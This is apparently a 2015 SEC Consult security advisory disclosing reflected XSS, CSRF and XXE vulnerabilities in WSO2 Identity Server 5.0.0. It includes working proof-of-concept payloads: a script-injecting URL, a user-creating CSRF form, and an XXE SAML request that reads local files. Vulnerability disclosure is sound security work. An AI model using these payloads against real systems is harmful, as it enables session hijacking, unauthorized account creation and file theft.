SEC Consult Vulnerability Lab Security Advisory < 20150513-0 >
=======================================================================
              title: Multiple critical vulnerabilities
            product: WSO2 Identity Server
                     other WSO2 Carbon based products may be affected too
 vulnerable version: 5.0.0 (WSO2 Carbon Framework v4.2.0 patch1095)
      fixed version: 5.0.0 with patches 1194 and 1095 applied
         CVE number:
             impact: critical
           homepage: http://wso2.com/products/identity-server/
              found: 2015-02-19

Vendor description:
- -------------------
"WSO2 Identity Server provides sophisticated security and identity management
of enterprise web applications, services, and APIs, and makes life easier for
developers and architects with its hassle-free, minimal monitoring and
maintenance requirements. In its latest version, Identity Server acts as an
Enterprise Identity Bus (EIB) — a central backbone to connect and manage
multiple identities regardless of the standards on which they are based."

URL: http://wso2.com/products/identity-server/

Business recommendation:
- ------------------------
The WSO2 Identity Server has three security vulnerabilities that allow an
attacker to take over administrative user sessions and read arbitrary
local files. Moreover, the XXE vulnerability potentially allows an
attacker to conduct further attacks on internal servers since the
vulnerability may allow an attacker to bypass firewall rules.

SEC Consult only conducted a very quick and narrow check on the
WSO2 Identity Server. Since in this check a critical vulnerability was
found, SEC Consult suspects that the Identity Server contains even
more critical vulnerabilities.

Since other WSO2 products are based on the same framework (WSO2 Carbon
Framework), it is possible that these or similar vulnerabilities affect
other products too.

SEC Consult recommends to not use any products based on the WSO2 Carbon
Framework until a thorough security review has been conducted.


Vulnerability overview/description:
- -----------------------------------
1) Reflected cross-site scripting (XSS, IDENTITY-3280)
The WSO2 Identity Server is vulnerable to reflected reflected cross-site
scripting vulnerabilities. An attacker can lure a victim, that is logged in
on the Identity Server administration web interface, to e.g. click on a link
and take over the victim's session.

2) Cross-site request forgery (CSRF, IDENTITY-3280)
On at least on one web page, CSRF protection has not been implemented. An
attacker on the internet could lure a victim, that is logged in on the
Identity Server administration web interface, on a web page e.g. containing
a manipulated <img> tag. The attacker is then able to add arbitrary users
to the Identity Server.

3) XML external entitiy injection (XXE, IDENTITY-3192)
An unauthenticated attacker can use the SAML authentication interface to
inject arbitrary external XML entities. This allows an attacker to read
arbitrary local files. Moreover, since the XML entity resolver allows
remote URLs, this vulnerability may allow to bypass firewall rules
and conduct further attacks on internal hosts.


Proof of concept:
- -----------------
1) Reflected cross-site scripting (XSS, IDENTITY-3280)
When opening the following URL an alert-box is shown as an example:
http://<host>:9443/carbon/user/change-passwd.jsp?isUserChange=true&returnPath=../userstore/index.jsp%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

When a user without permission to create other users issues the following
request, an alert-box is shown:
- ---- snip ----
POST /carbon/user/add-finish.jsp HTTP/1.1
Host: <host>:9443
Cookie: <cookies>
Content-Type: application/x-www-form-urlencoded
Content-Length: 261

pwd_primary_null=%5E%5B%5CS%5D%7B5%2C30%7D%24&usr_primary_null=%5E%5B%5CS%5D%7B3%2C30%7D%24&pwd_PRIMARY=%5E%5B%5CS%5D%7B5%2C30%7D%24&usr_PRIMARY=%5E%5B%5CS%5D%7B3%2C30%7D%24&domain=PRIMARY&username=secconsult&passwordMethod=defineHere&password=test123&retype=test123
- ---- snip ----

2) Cross-site request forgery (CSRF, IDENTITY-3280)
The following HTML fragment demonstrates this issue:
- ---- snip ----
<form method="POST" action="https://<host>:9443/carbon/user/add-finish.jsp">
 <input type="text" name="domain" value="PRIMARY"/>
 <input type="text" name="username" value="secconsult"/>
 <input type="text" name="password" value="test123"/>
 <input type="submit"/>
</form>
- ---- snip ----

3) XML external entitiy injection (XXE, IDENTITY-3192)
After issuing the following request to a vulnerable Windows server,
the contents of the C: drive are returned:

- ---- snip ----
<?xml version="1.0"?>
 <!DOCTYPE AuthnRequest [
  <!ELEMENT AuthnRequest ANY >
  <!ENTITY xxe SYSTEM "file:///C:/" >]>
<samlp:AuthnRequest
	xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
	Destination="https://<host>/samlsso"
	ID="_ffffffff-0000-0000-0000-ffffffffffff"
	IssueInstant="2015-01-01T01:01:01Z"
	ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
	Version="2.0">
 <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
  XXXX&xxe;YYYY
 </saml:Issuer>
 <samlp:NameIDPolicy AllowCreate="true"
	Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/>
</samlp:AuthnRequest>
- ---- snip ----


Vulnerable / tested versions:
- -----------------------------
The version 5.0.0 (with WSO2 Carbon Framework v4.2.0 patch1095 applied)
was found to be vulnerable. This was the latest version at the time
of discovery.
